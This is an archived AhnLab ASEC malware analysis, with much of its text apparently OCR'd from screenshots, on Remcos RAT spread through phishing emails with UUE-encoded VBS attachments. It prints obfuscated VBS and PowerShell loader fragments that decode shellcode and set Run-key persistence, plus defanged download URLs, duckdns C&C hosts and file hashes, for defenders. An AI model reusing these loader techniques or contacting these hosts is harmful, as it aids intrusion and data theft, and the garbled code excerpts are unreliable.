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Remcos RAT Distributed as UUEncoding (UUE) File

By ATCP

Published: 2024-05-23 - Archived: 2026-04-05 23:43:10 UTC

AhnLab SEcurity intelligence Center (ASEC) recently discovered that Remcos RAT is being distributed via
UUEncoding (UUE) files compressed using Power Archiver.

The image below shows a phishing email distributing the Remcos RAT downloader. Recipients must be vigilant as

phishing emails are disguised as emails about importing/exporting shipments or quotations.
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To find more about the processing of your personal dats please click here ‘medis/files/legsi-files, eral-dsta-protection-notice-for-customer. | B

This message and any associated files (together the “Contents”) are intended solely for the addressee(s). The Contents are confidential and may contain private information or
information that is subject to copyright or is a trade secret or which is privileged. Views or opinions expressed herein do nof necessarily represent views or opinions ol
d its agents or their affiliated companies and may only be the view or opinion of the author. If you are not the intended recipient of this email, you
must not use, print, copy, store, forward, or disclose it or act in reliance of the Contents. Please destroy all copies of the message and any associated files and notify the sender
immediately that you have received it in error. Thank you for your cooperation.

1. UUE

The threat actor distributes a VBS script encoded using the UUE method through an attachment. The UUE
method, short for Unix-to-Unix Encoding, is a method used to exchange data between Unix systems by encoding

the binary data in the ASCII text format.

Cffset(h) OO0 01 02 03 04 05 Og O7 08 09 OA OB OC OD OE OF Decoded text

00000000 33 55 45 6E 63 6F €4 ©5 20 20 30 ZE 30 20 28 50 UUEncode 0.0 (P
Q0000010 &F 77 &5 72 41 72 €3 €8 €9 76 65 T2 20 32 30 30 owerArchiwver 200
Q0000020 3% 3& 20 77T 7T 7T 2E 70 6F 77 &5 72 €1 T2 63 ©3 S: www.powerarch
Q0000030 e% Te 65 72 2E €3 6F &D 25 OD O&A OD OA &2 &5 €7 iver.com)....beg
QQOO0040 6% gE 20 36 34 34 20 4% 6E 76 &F €% €3 €5 5F Ek in 644 Invuice_ﬁ
00000050 72 64 €5 7z S5F €E €5 77 2E 76 62 73 0D OR 4D 23 rder new.vbs..M#
00000060 30 4% 33 3% 37 30 40 32 26 35 4D 3L 36 31 5% 3C OI39TORZ&SM:elY<
00000070 57 31 52 3B 57 21 48 3E 32 €0 5D 28 24 2D 52 3% WIR;W!H>2"] ($-R9
00000080 36 25 54 39 34 5D 42 3R 46 35 43 3D 22 40 42 34 6%FT94]B:FSC="@EB4
00000090 56 ZD 52 3& 37T Z1 54 3R 36 5% 47 0D Ok 4D 2B 44 V-R:T7!T:6YG..M+D
000000R0 35 49 3B 26 35 33 3E 37 2D 54 39 36 55 2ZF 38 46 9I;&53>7-T96U/8F

A UUE file consists of a header (begin), an encoded data, and an end, and the threat actor appears to have tried

bypassing detection via UUE. Upon decoding the file, an obfuscated VBS script can be found (see Figure 3).
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Set Hemidystrophy = CreateCbiject{"Scripting.FileSystemlObiect™

—

DoktorererSl=Hemidystrophy.GetSpecialFolder(2) & "\T

() Y RV S B

on error resume Next

=]

Hemidystrophy.DeleteFile (Doktorereri5l)

RN o )

Crvhydric(Similismyvkke())

13 Cxvhydric (ChrWw(34))
14 Pronunciational = "guttifer; oesstrone somatocyst groundlessly!”

15 Stjrtpotten = EHFFFFDASD

1& Barton = &H33AE

17 bjeligeres = "Interdictionl72! klasseringer annielles? pearlfruit”
Popely = —-57832

Dialin = &HFFFF&44F

Bolsje = &HFFFFT748C

Korsfstelsens = "Eventuelle jonosfre klotters"®

Garageleijers = &HBTI1E

Flaademandskaber = "Filformatets, remissness theocentricism palpated”
Epistome = 29352

Catriona = &HFFFF3SFD

Indlsningsprogramsl143 = "nhida

Dataanlggets = "Eaminer
Drvogterers = -60376
Forrester = "Nonpercussiv

1

;
o Co

[y Y RV U R P |

i I R 6 R N R N R R R S

=]

g

2. Downloader

The VBS script saves the PowerShell script into the %Temp% directory as Talehmmedes.txt and runs it. The
executed script accesses hxxp://194.59.30[.]90/Isocarbostyril.u32 to download Haartoppens.Eft into the
%AppData% directory and run an additional PowerShell script.
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Cffset(h) OO0 01 02 O3 04 05 Og OTF7 OB 09 0OA OB OC OD OE OF Decoded text
00048DE0 E3 FF F1 44 F3 71 F1 EE 53 11 EB D& 37 73 Bé 5C ayADoghss. 07sq\
00048DF0 6D ED 4A SE 5D Bl 88 D% 8A SE 3B 63 54 13 B2 3F miJZ]+"U5~:hT.=?
O0048E00 72 B2 D5 A6 CB OF 68 4C 75 26 CF 72 71 91 OE 83 r O'E.nhLusfrg'.f
00048E10 46 F4 B6 BB CC 6D AA DD 32 &F 61 74 8F 4F 3B 36 FoI»im*¥2oat.0:6
00048E20 CF 05 81 DD 8A 4F 3B 68 67 OF OF 8E ED 42 FC 01 f..¥50:hg.¥#iBd.
O0048E30 7TA 57 OA BB DS 14 F7 OF AF 11 F8 BS DB 85 CF 9 =zW.»0.z.®. epl. Iz
00048E40 53 CB 8F BB 26 OF 6E D7 FO &5 7D 53 93 27 F1 44 SEZsz.n=x8e}S“'AD
23 E 73 [ &
0048Ee0 70 &5 6C 73 65 73 20 53 61 6C 74 gE 69 g6E &7 20 pelses S5altning
O048ET0 4B 76 69 76 61 &C 63 6E T3 65 6E Z0 45 6D 62 72 EKwvivalensen Embr
0048E80 61 69 64 20 42 65 72 74 72 61 6D 20 44 €1 6D 70 aid Bertram Damp
0048E90 76 &1 73 6B 65 72 €9 €5 72 €E 65 73 20 23 3E 0D vaskeriernes #>.
0O048ERQ OB 24 52 6F 6D &1 6E €9 TA €1 74 €9 &F €E 3D 54 .SRomanization=T
0048EBO 68 &9 6D 62 6C &5 20 27 20 55 6E 70 75 €C 76 5C himble ' Unpulv
0048ECO 48 69 64 6B 61 6C 64 73 53 6B 6F 7o 66 €6F 67 7% HidkaldsSkovIogy
0048EDO 4B Z0 6D 65> 72 61 76 73 20 41 73 73 61 7% 61 77 K meravs Assaya
0048EEQ 43 €61 72 eF 75 73 65 &eF 4E 6F 6E 73 6F €3 69 77 CarouseoNonsocil
0048EF0 20 62 6F €@E 61 73 T3 36 54 72 61 63 T4 T2 69 34 bonasueTractri4
0048F00 55 72 66 6R &5 2C €4 SC 50 €F 70 70 20 73 65 57 Urfje,d\Popp se
0048F10 47 6C 61 73 73 77 6F &% 50 €61 63 €% 66 €% 73 6E GlasswoiPacifis
0048F20 55 73 61 eC 69 67 68 €4 4D €5 64 67 6% €6 2Z0 6F TUsalighdMedgif o
0048F30 20 4B 61 2C 73 65 61 77 54 €9 &6C 73 74 €9 &C 73 Ka,seawTilstils
0048F40 55 62 2C 72 74 7% 6F 50 50 €5 20 6F 6D €5 64 6F TUb,rtyoFFe omedo
0048F50 20 53 74 6F 64 ©4 €5 77 20 43 6F &C 69 73 T4 &5 Stoddew Coliste
0048F60 20 72 6% 6E 6B 73 TO 72 4C 65 64 Z0 74 €5 6B 33 rinksprLed tek3
0048F70 41 75 74 &F 73 €% 67 €3 20 53 77 20 61 74 70 65 Autosigh 5w atpe
0048F80 56 61l 61 72 &5 73 79 &C 50 73 65 75 64 €5 70 &C VaaresylPseudepl
0048F90 55 6E 74 &8 61 6E 6B 3C 52 65 FE 6C 69 2C 683 76 Unthank\&eﬁli,hv
20 ) 61 31 50 6F 73 74 ] E tisanlFPFost al.

The executed additional PowerShell script is also obfuscated to prevent others from analyzing it, and its main

feature is loading a shell code in the wab.exe process.

<#indfrsels Udkmpelses Saltning Evivalensen Embraid Bertram Dampvaskeriernes #>
SfRomanization='\syswow&4\WindowsPowerShell\vl.0\powershell.exe'

fUdposter= 'powershell.exe'
SDecipherability = exit
Socialudvalget ($global:Fumaric=5env:windir + SRomanization )

Socialudvalget (((gwmi win32 process -F ProcessId=${PID}).CommandLine) -split [char]34)
Socialudvalget ($global:Illustriousnesses = $Citigrade[$Citigrade.count-2] )
Socialudvalget ($global:Longhaired = ([IntPtr]::size -eqg 8)

Socialudvalget (if (!SLonghaired){ $global:Fumaric = $Udposter})
if (5Endoscopy -or 5Longhaired){

&5Fumaric $Illustricusnesses

Socialudvalget S$Decipherakility

}

function Clavicles ($5paridae,$Tidsskriftets) {

Socialudvalget ($S5paridae -bxor STidsskriftets )

}

Function Distrt (SDiathermacy, SDundretls83 = 0){
Socialudvalget (Sglobal:Echoize = New-Object byte[] (S$Diathermacy.Length / 2) )
For ($Sertularioid=0; $Sertularioid -1t $Diathermacy.Length; $Sertularioid+=2){

Socialudvalget ($Echoize[$Sertularioid/2] = [convert]::ToByte(SDiathermacy.Substring($Sertularioid, 2), 1&) )
SEchoize[$Sertularioid/2] = Clavicles SEChDize[SSEItulﬂriDidIZ] 125

The shellcode adds a registry to maintain persistence and accesses
hxxp://194.59.30[.190/mtzDpHLetMLypaaA173.bin to load additional data. Ultimately, Remcos RAT is executed.
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B axass w5y - u] X

oER EEE =70 AR ESEH)

4 FE%HKEY_CURRENT_USER#SOFTWARERMicrosoft¥Windows#CurrentVersionwRun

> || FileAssociz A || o)z zz ]

FileHistory || g 71z REG_SZ @ages)

E:‘::D':;‘ 28] OneDrive REG_SZ "C:UsersikkwAppDatatLocalwMicrosoftwOneDrivewOneDrive.exe” /background

Group Poli ab|Samar REG_EXPAND_SZ %Psykopaten® -w 1 $Skndighedens=(Get-IltemProperty -Path 'HKCU:#Overed158%").Cavling;%Psykopatentt ($Skndighed...

Holographi
ime
Immersivet
InstallServi
Internet Se
Lock Scree
Mobility
Notificatior
PenWorksp
Policies
b PrecisionTc
Privacy
PushNatific
RADAR
Run
RunOnce ¥
>

B =%~s3 51| - o x
nYF BEE 27V SARIW) ESTH)
Z FE#%HKEY_CURRENT_USER#Overed158
v 2RE oz =5 ELE]
> HKEY_CLASSES_ROCT

REG_SZ (EE e
v H"inCE“RRENLUSER REG_EXPAND_SZ  $Airsicks6 = 1:4Slided="Sub';$Slided='strin"$Slided =g -Function Thimble($Moonwort}{$Asbringsceramonis135=$Mo.
> ppEven
> Console

> Control Panel
Environment

> EUDC

> Keyboard Layout

> Microsoft

Network

Overed158

Printers

SOFTWARE

System

Volatile Environment

> HKEY_LOCAL_MACHINE

> HKEY_USERS

> HKEY_CURRENT_CONFIG

3. Remcos RAT

The malware collects system information through hxxp://geoplugin[.]net/json.gp. It then saves the keylogging

data as mifvghs.dat in the % Appdata% directory and sends the data to the C&C server.
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[2024/05/22 20:18:58 Offline Keylogger Started]

[2024/05/22 20:18:5%9 powershell.exe (2876) é$j§]

Mo s L Ry

[2024/05/22 20:19:01 powershell.exe (3076) é?@]

[Text copied to clipboard]

"C:\Windows\System32\WindowsPowerShell\vl.0\powershell.exe™ "$Airsick56e =
1;£81lided="Sub';$51lided+="strin';$51lided+="g"';Function

Thimble ($Moonwort) {$Aabningsceremonisl35=5Moonwort.Length-$Airsick56; For ($Lapnings=7;$Lapnings -1t
Zhabningsceremoni=135; $Lapnings+=8) { §Genkendelsesgldens+=5Moonwort.£51lided. Invoke (| $Lapnings,
£AirsickS56); }$Genkendelsesgldens; }function Socialudvalget ($Leucocyte) {& (§Louverwork
{$Leucocyte) ; }$Arvetanterne=Thimble

'EresterM, rdomscoFe, therzBackingiDemo.ralThunderlkredsreaBlo.und/Myoly=i5 Rehosp.Verb,ag0 ,roble

Rantank (0fficiaWDaudingiKirsesananthropd Nondebo.nkertrws,eomrasSombreu UncondeNForagtsT Ugenne
TrresliMolarisOWNelterv.InexoralHummerf;Eusthen EurhythWOverdediforgaa.nHelgardéBlresle4Hummerf; Douche 5
uffatx5i rede65tinneud4Stetise;bra che olierer promilv

indram:L, dledrlRockend2BudgetolEvrknin.Aleu.onlPetralo) Religi Sha.eabGAlienate ForegrcF

rkvakkCenob, toRkssaila/Papirti2 PrisopOsammenrlDenigr.0 Tgkst 0 Ayah, clmonopoll.idebeglImmarbl pedale F
ImmortiKlipfisrBombeekeVedkendfErte.neoUnacu, exBasqued/ . iureselSpecial2Mulattell, nuadu.I anposOMardian
';$Domesticator=Thimble 'KorrektUTaknemmsBiconicecatoptrr Biplac-Troldafi.eglikeg
T.mbubeFacierpnforstuvtSquatin ';$Neatens=Thimble
'UnprofehTorpeditOpbrudttDecentrpCo. rent :Endothe/Borg.rl/ Cit.onlJagthyt9Forkort4Kabinet.sputte
5Unfl.ei9%Chamaes.Inddata3 PunctulOBreveti. besger9 erafin0Infiltr/ clair,IDrfyl,ns ExtraloD.smailcHu
tigbaSeptanerLeverinbSynde,iolArbejdsstros ettpensakryJagtlejrUnforg i,omanizlRestgru.krybekluSubsure3 Un
isp2Dirkenv ';$Tulas=Thimble 'notturn>enheder ';$Louverwork=Thimble 'yderp.riSaosh.aeMaalsatxSnebwor
';$Miljgiftene="'ProcessuallS7';$Etableret = Thimble 'Poorh.ueGlevesucDespotih GeneraoDecimal Skrupsk:
opsat.a AnimadpSmed.enpC ntrald TilkbsaUbrugtet Flop.eaFrifin.%tremolo\Ar ejdeH ModefoaTar iriaFrihandr
Civilit GlennsoPopulrapUntra, spD.gwatceSa,battn tivels0Overdea.SklhattEVi,ortefBomstrktSpi och
ScutelliHosannaié Parall Salwv,lie GriskecSemileahSregenhoCu.iolo Tvi, tlrtAlalite ';Socialudvalget (Thimble
' Nongel$unexcorg ,engeblabditivoHrdedecbSalgsaraExpediel,opiari:VesicatB Radiobe Negl gsTetraptg EBabbags

]

[C&C Servers]

o frabyst44habvous1.duckdns|.]org:2980:0
 frabyst44habvousl.duckdns|.]org:2981:1
o frabyst44habvous2.duckdns|.]org:2980:0

Users should refrain from opening emails from unknown sources, and should not run or enable macro when

downloading attachment files. If the security level of the document program is set to low, macros may run

Page 6 of 7



https://asec.ahnlab.com/en/66463/

automatically without any notification. Therefore, users should maintain the security level high to prevent any

unintended features from being run.
Also, we recommend users update the anti-malware engine pattern to its latest version.

AhnLab’s anti-malware product, V3, detects and blocks the malicious types of files introduced in the post using

the aliases below.
[File Detection]

Downloader/VBS.Agent (2024.05.17.01)
Data/BIN.Encoded (2024.05.24.00)

MD5

7e6cadb3c4d1158f5e92f55fa9742601
b066e5f4a0f2809924becfffa62ddd3b
eaec85388bfaa2cffbfeae5a497124f0
£d14369743f0ccd3feaacca94d29a2b1
Additional IOCs are available on AhnLab TIP.

Gain access to related IOCs and detailed analysis by subscribing to AhnLab TIP. For subscription details, click

the banner below.

Ahnlab TIP

Get Started with AhnlLab's State-of-the-Art Threat Intelligence

atip.ahnlab.com

Source: https://asec.ahnlab.com/en/66463
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